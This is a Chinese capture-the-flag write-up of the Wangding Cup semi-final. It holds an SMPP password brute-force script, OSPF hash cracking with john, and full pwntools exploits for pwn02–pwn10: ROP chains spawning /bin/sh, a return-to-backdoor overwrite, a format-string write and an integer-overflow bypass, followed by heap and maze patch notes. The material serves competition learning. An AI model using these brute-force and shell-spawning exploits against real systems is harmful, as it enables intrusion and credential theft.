第三届网鼎杯半决赛部分wp
2023-4-18 10:55:22 Author: Red0(查看原文) 阅读量:73 收藏

一、突破

  • SMPP   

METADATA文件中有一个example代码,修改绑定IP和端口,输入账号密码。(题干已给出) 

     

然后根据题干要求修改短信内容和源地址、目的地址,依次发送两个短信,刷新8888端口http服务,可以看到flag文件。

             

import logging            import sys                       import smpplib.gsm            import smpplib.client            import smpplib.consts                       # if you want to know what's happening            logging.basicConfig(level='DEBUG')                       # Two parts, UCS2, SMS with UDH            parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(u'Привет мир!\n'*10)                       client = smpplib.client.Client('example.com', SOMEPORTNUMBER, allow_unknown_opt_params=True)                       # Print when obtain message_id            client.set_message_sent_handler(                lambda pdu: sys.stdout.write('sent {} {}\n'.format(pdu.sequence, pdu.message_id)))            client.set_message_received_handler(                lambda pdu: sys.stdout.write('delivered {}\n'.format(pdu.receipted_message_id)))                       client.connect()            client.bind_transceiver(system_id='login', password='secret')                       for part in parts:                pdu = client.send_message(                    source_addr_ton=smpplib.consts.SMPP_TON_INTL,                    #source_addr_npi=smpplib.consts.SMPP_NPI_ISDN,                    # Make sure it is a byte string, not unicode:                    source_addr='SENDERPHONENUM',                               dest_addr_ton=smpplib.consts.SMPP_TON_INTL,                    #dest_addr_npi=smpplib.consts.SMPP_NPI_ISDN,                    # Make sure thease two params are byte strings, not unicode:                    destination_addr='PHONENUMBER',                    short_message=part,                               data_coding=encoding_flag,                    esm_class=msg_type_flag,                    registered_delivery=True,                )                print(pdu.sequence)                           # Enters a loop, waiting for incoming PDUs            client.listen()

二、共同防御

  •  地址计算  

掩码为255.255.0.0,网络地址取前16位,后16位置0,得到网络地址为:172.30.0.0,使用md5加密得到答案为:e945964770a0fd6f0dbbcd9622f2e63f。

  •  ospf密钥获取 

从pcap包中提取ospf密码hash值,借助kali的john工具进行md5爆破后即可得到密码。

      
             
             

答案即为flag{yuio}

  •  短信中心密码爆破

编写smpplib登录脚本,遍历密码字典中的密码,若登录异常则继续爆破,直到登录无异常,即得到正确的密码。

import logging            import sys                       import smpplib.gsm            import smpplib.client            import smpplib.consts                       # if you want to know what's happening            logging.basicConfig(level='DEBUG')                       # Two parts, UCS2, SMS with UDH            parts, encoding_flag, msg_type_flag = smpplib.gsm.make_parts(u'Привет мир!\n'*10)                       client = smpplib.client.Client('172.16.9.37', 2776, allow_unknown_opt_params=True)                       # Print when obtain message_id            client.set_message_sent_handler(                lambda pdu: sys.stdout.write('sent {} {}\n'.format(pdu.sequence, pdu.message_id)))            client.set_message_received_handler(                lambda pdu: sys.stdout.write('delivered {}\n'.format(pdu.receipted_message_id)))                       client.connect()            with open ('password_dict.txt','r')as f:                for i in f.readlines():                    i=i.strip()                    try:                        client.bind_transceiver(system_id='admin', password=i)                        print(i)                        break                    except:                        continue            

             

答案为flag{sikx}

三、RHG(人工智能漏洞挖掘)

RHG部分我们没有准备自动化工具,全靠手速。

由于本次rhg题目大多为静态编译且去符号,为了更方便直观进行程序分析,我们在赛前下载了对应版本的sig(libc6_2.23-0ubuntu3_i386.sig)放入IDA安装目录的sig/pc目录下,在使用IDA分析时可导入sig,可自动帮助识别libc函数。

             

  • pwn02  

和上午测试的pwn01一样,简单的栈溢出。

             

直接ropchain一把梭。使用ROPgadget得到rop链后构造exp。

ROPgadget --binary r2 --ropchain
from pwn import *from struct import *
sh=process('./r2')sh.recv()p=b'a'*0x6c
p += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x080b8eb6) # pop eax ; retp += b'/bin'p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb064) # @ .data + 4p += pack('<I', 0x080b8eb6) # pop eax ; retp += b'//sh'p += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x080495a3) # xor eax, eax ; retp += pack('<I', 0x0805502b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x080df8bd) # pop ecx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x0806f83b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x080495a3) # xor eax, eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0807b2f6) # inc eax ; retp += pack('<I', 0x0806d443) # int 0x80
sh.sendline(p)sh.interactive()
  • pwn03  

溢出点和pwn02一样,但是加了限制,payload中不能有BINSHbinsh中的任意字符。

             

通过read函数将/bin/sh写入bss段中,再使用系统调用执行execve即可获得shell。

from pwn import *            from struct import pack                       pop_eax=0x080b8f16            int80=0x0806d4a3            pop_ebx=0x080481c9            pop_ecx=0x080df91d            pop_edx=0x0806f89b            read=0x0806DE00            main=0x80488CE            bss=0x080EBF80                       sh=process('./r3')            sh.recv()            p=b'a'*0x74+p32(read)+p32(main)+p32(0)+p32(bss)+p32(8)            sh.send(p)            sh.recv()            sh.send(b"/bin/sh\x00")            p=b'a'*0x74            p+=flat([pop_eax,0xb,pop_ebx,bss,pop_ecx,0,pop_edx,0,int80])            sh.send(p)            sh.interactive()   
  • pwn04  

存在栈溢出点和后门函数,修改ret地址为shell地址即可。

             

             

from pwn import *            sh=process('./r4')            shell=0x080485BD            sh.recv()            payload=b'a'*0x6c+p32(shell)            sh.send(payload)            sh.interactive()            
  • pwn05  

根据代码可知,v0为输入字符串的第16个字符后的字符串,转为整数后+5计算得到,即为输入任意16个字符后,输入85140即可获得shell。

             

from pwn import *            sh=process('./r5')            payload='1'*16+'85140'            sh.send(payload)            sh.interactive()            
  • pwn06  

和pwn05逻辑差不多,输入12345即可拿到shell。

             

  • pwn07  

分析下来其实是一道嵌套了后门函数的迷宫题,从后门函数一步步回溯到入口函数,倒推回去即可得到正确的路径。

             

             

             

             

......

得到路径为:WSDWAAWDW

from pwn import *            sh=process('./r7')            sh.recv()            sh.send('WSDWAAWDW')            sh.interactive()
  • pwn08  

格式化字符串漏洞,利用pwntools的工具将0x80ebf9c处的变量改为28即可得到shell。

             

from pwn import *            sh=process('./r8')            sh.recv()            context.arch = 'i386'            payload=fmtstr_payload(4,{0x80ebf9c:28},0,write_size='byte')            sh.send(payload)            sh.interactive()           
  • pwn09  

通过整数溢出绕过长度限制,构造长度为263的输入,263转为int8后由于溢出会变成7,strcpy即可造成v2缓冲区溢出。

             

from pwn import *from struct import pack
sh=process('./r9')sh.recv()sh.sendline('1')sh.recv()p=b'a'*29p += pack('<I', 0x0806fe3b) # pop edx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x0805c34b) # pop eax ; retp += b'/bin'p += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806fe3b) # pop edx ; retp += pack('<I', 0x080eb064) # @ .data + 4p += pack('<I', 0x0805c34b) # pop eax ; retp += b'//sh'p += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x0806fe3b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x08049643) # xor eax, eax ; retp += pack('<I', 0x0805558b) # mov dword ptr [edx], eax ; retp += pack('<I', 0x080481c9) # pop ebx ; retp += pack('<I', 0x080eb060) # @ .datap += pack('<I', 0x080e0151) # pop ecx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x0806fe3b) # pop edx ; retp += pack('<I', 0x080eb068) # @ .data + 8p += pack('<I', 0x08049643) # xor eax, eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0807b8f6) # inc eax ; retp += pack('<I', 0x0806da13) # int 0x80p+=b'\x90'*102sh.send(p)print(len(p))sh.interactive()                             
  • pwn10  

IDA分析程序,发现输入0时,会调用后门函数。

             

直接输入0即可获得shell。

四、RDG(实景防御)

漏洞:free指针后未置空、堆内写入大小未作限制。

             

             

修复:

1.将free后的指针清空。

             

             

2.对写入堆中的长度做限制。

             

             

  • babymaze  

分析程序发现为迷宫题,并且可以对迷宫中所在位置的值进行修改。

             

迷宫如下所示,2为墙,由于四周的墙不完全封闭,可以导致坐标溢出到迷宫之外的地址,实现任意地址覆盖。

[2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 9, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0]            [2, 0, 0, 0, 2, 0, 0, 0, 2, 0, 0, 0, 0, 0, 0, 0]

修复方式即对坐标进行校验,如超出迷宫范围则退出。

在eh_frame段增加校验代码:

             

             


文章来源: http://mp.weixin.qq.com/s?__biz=Mzg3NDY3NjcxOA==&mid=2247484502&idx=1&sn=2a0c09fef2daf11003270e02f8ba474e&chksm=cecc6cd7f9bbe5c104eb6fc70450816aa29e8670a86bb03c354fb30cabcfe1bc5de5b6dd6976#rd
如有侵权请联系:admin#unsafe.sh